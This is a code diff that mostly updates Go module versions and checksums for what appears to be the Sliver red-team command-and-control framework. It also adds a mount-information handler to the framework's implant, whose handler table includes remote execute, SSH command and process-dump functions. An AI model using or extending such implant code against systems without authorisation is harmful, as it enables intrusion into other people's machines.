github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/klauspost/compress v1.17.0
|
||||
github.com/klauspost/compress v1.17.8
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
@@ -43,18 +44,19 @@ require (
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/ulikunitz/xz v0.5.11
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.17.0
|
||||
golang.org/x/crypto v0.22.0
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
|
||||
golang.org/x/net v0.17.0
|
||||
golang.org/x/sys v0.15.0
|
||||
golang.org/x/term v0.15.0
|
||||
golang.org/x/net v0.24.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.org/x/term v0.19.0
|
||||
golang.org/x/text v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.59.0
|
||||
google.golang.org/protobuf v1.31.0
|
||||
google.golang.org/protobuf v1.33.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.5.1
|
||||
gorm.io/driver/postgres v1.5.2
|
||||
@@ -109,7 +111,6 @@ require (
|
||||
github.com/gobwas/ws v1.3.0 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
|
||||
@@ -122,7 +123,8 @@ require (
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.1 // indirect
|
||||
github.com/jackc/pgx/v5 v5.5.4 // indirect
|
||||
github.com/jackc/puddle/v2 v2.2.1 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
@@ -135,8 +137,8 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.15 // indirect
|
||||
github.com/mdlayher/genetlink v1.3.2 // indirect
|
||||
github.com/mdlayher/netlink v1.7.2 // indirect
|
||||
github.com/mdlayher/sdnotify v1.0.0 // indirect
|
||||
|
||||
@@ -122,8 +122,8 @@ github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.m
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
|
||||
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
|
||||
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
|
||||
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
|
||||
@@ -226,12 +226,14 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.3.1 h1:Fcr8QJ1ZeLi5zsPZqQeUZhNhxfkkKBOgJuYkJHoBOtU=
|
||||
github.com/jackc/pgx/v5 v5.3.1/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
|
||||
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
|
||||
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
|
||||
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
|
||||
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -258,8 +260,8 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
|
||||
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
|
||||
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
|
||||
@@ -293,11 +295,10 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
|
||||
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
|
||||
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
@@ -342,7 +343,6 @@ github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFu
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
@@ -352,8 +352,6 @@ github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1
|
||||
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
|
||||
github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
|
||||
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
|
||||
github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ=
|
||||
github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY=
|
||||
github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
|
||||
github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
@@ -377,15 +375,12 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
|
||||
@@ -420,6 +415,8 @@ github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
|
||||
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
|
||||
@@ -450,8 +447,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
|
||||
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
@@ -480,8 +477,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
||||
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
|
||||
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
|
||||
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
|
||||
@@ -529,12 +526,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
|
||||
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
|
||||
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
|
||||
golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q=
|
||||
golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
@@ -591,8 +588,8 @@ google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
|
||||
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
|
||||
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
|
||||
google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
|
||||
+2
-2
@@ -18,9 +18,11 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.13.0
|
||||
golang.org/x/net v0.15.0
|
||||
golang.org/x/sys v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
google.golang.org/protobuf v1.31.0
|
||||
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -37,7 +39,6 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.13.0 // indirect
|
||||
golang.org/x/net v0.15.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/tools v0.13.0 // indirect
|
||||
@@ -48,5 +49,4 @@ require (
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect
|
||||
)
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,7 +58,7 @@ var (
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
@@ -71,6 +72,7 @@ var (
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
@@ -124,6 +126,27 @@ func dumpHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
mountReq := &sliverpb.MountReq{}
|
||||
err := proto.Unmarshal(data, mountReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
mountData, err := mount.GetMountInformation()
|
||||
mountResp := &sliverpb.Mount{
|
||||
Info: mountData,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
mountResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(mountResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func taskHandler(data []byte, resp RPCResponse) {
|
||||
var err error
|
||||
task := &sliverpb.TaskReq{}
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
